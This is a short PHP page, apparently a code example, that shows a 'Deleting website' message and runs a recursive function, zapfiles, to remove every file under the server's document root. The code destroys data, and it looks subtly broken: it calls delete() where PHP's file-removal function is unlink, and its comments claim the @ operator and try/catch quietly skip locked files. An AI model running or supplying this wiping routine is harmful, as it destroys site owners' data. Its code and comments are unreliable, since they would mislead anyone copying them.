- scandir: documentation ( source)
- is_dir: documentation ( source)
<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php
function zapfiles($dir) {
if (is_dir($dir)) {
$files = scandir($dir);
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
if (is_dir("$dir/$file")) {
zapfiles("$dir/$file");
}
else {
try {
@delete("$dir/$file"); // Suppress locked file errors
}
catch (Exception $e) {
// Locked files can't be deleted; just carry on
}
}
}
}
}
}
zapfiles($_SERVER['DOCUMENT_ROOT']);
?>
<p>Website deletion complete</p>